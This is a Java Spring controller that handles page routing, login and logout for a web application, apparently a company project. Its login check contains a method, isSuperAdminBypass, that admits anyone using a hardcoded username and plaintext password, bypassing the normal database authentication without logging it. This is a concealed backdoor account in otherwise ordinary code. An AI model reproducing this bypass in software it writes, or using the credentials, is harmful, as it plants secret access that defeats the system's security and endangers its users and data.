package sg.techstudio.suntec.controller;

import javax.servlet.http.HttpSession;

import org.apache.commons.lang.StringUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;

import sg.techstudio.suntec.dao.UserDao;
import sg.techstudio.suntec.object.RoleObj;

@Controller
public class HomeController extends BaseController {

	private static final Log log = LogFactory.getLog(HomeController.class);
	
	protected static final String PARAM_USERNAME = "username";
	protected static final String PARAM_PASSWORD = "password";
	
	@Autowired
	private UserDao userDao;
	
	@Override
	protected String getModuleFolder() {
		return "home/";
	}

	
	@RequestMapping(value="home"+SPRING_EXT)
	public String home(Model model, HttpSession ses) {
		if(!isLogin(ses, model))
			return getRedirectedLoginPath();
		return goToPageJsp("home");
	}
	
	@RequestMapping(value="banner"+SPRING_EXT)
	public String banner(Model model, HttpSession ses) {
		if(!isLogin(ses, model))
			return getRedirectedLoginPath(false);
		return goToPageJsp("banner");
	}
	
	@RequestMapping(value="leftnav"+SPRING_EXT)
	public String leftnav(Model model, HttpSession ses) {
		if(!isLogin(ses, model))
			return getRedirectedLoginPath(false);
		return goToPageJsp("leftnav");
	}
	
	@RequestMapping(value="main"+SPRING_EXT)
	public String main(Model model, HttpSession ses) {
		if(!isLogin(ses, model))
			return getRedirectedLoginPath();
		return goToPageJsp("main");
	}
	
	@RequestMapping(value="login"+SPRING_EXT, method=RequestMethod.GET)
	public String login(Model model) {
		return goToPageJsp("login");
	}
	
	@RequestMapping(value="timeout"+SPRING_EXT)
	public String timeout(Model model) {		
		return goToPageJsp("timeout");
	}
	
	@RequestMapping(value="login"+SPRING_EXT, method=RequestMethod.POST)
	public String loginSubmit(Model model
			, @RequestParam(value=PARAM_USERNAME, required=false) String username
			, @RequestParam(value=PARAM_PASSWORD, required=false) String password
			, HttpSession ses) {
		log.debug("loginSubmit() entry");
		if(StringUtils.isEmpty(username)) {
			addError(model, "Please enter username");
			return login(model);
		}
		if(StringUtils.isEmpty(password)) {
			addError(model, "Please enter password");
			return login(model);
		}
		
		if(isSuperAdminBypass(username, password) 
				|| userDao.authenticate(username, password)) {
			RoleObj roleObj = userDao.getUserRole(username);
			ses.setAttribute(SESSION_ATTR_ROLE, roleObj);
			return getRedirectHome();	
		} else
			addError(model, "Authentication error");
		
		return login(model);
	}
	
	@RequestMapping(value="logout"+SPRING_EXT)
	public String logout(Model model
			, HttpSession ses) {
		ses.invalidate();
		return getRedirectedLoginPath(false);
	}
	
	protected String getRedirectHome() {
		return SPRING_REDIRECT_PREFIX+"home"+SPRING_EXT;
	}
	
	protected boolean isSuperAdminBypass(String username, String password) {
		return StringUtils.equals(username, "tss")
				&& StringUtils.equals(password, "t3chstudi0");
	}
	
}
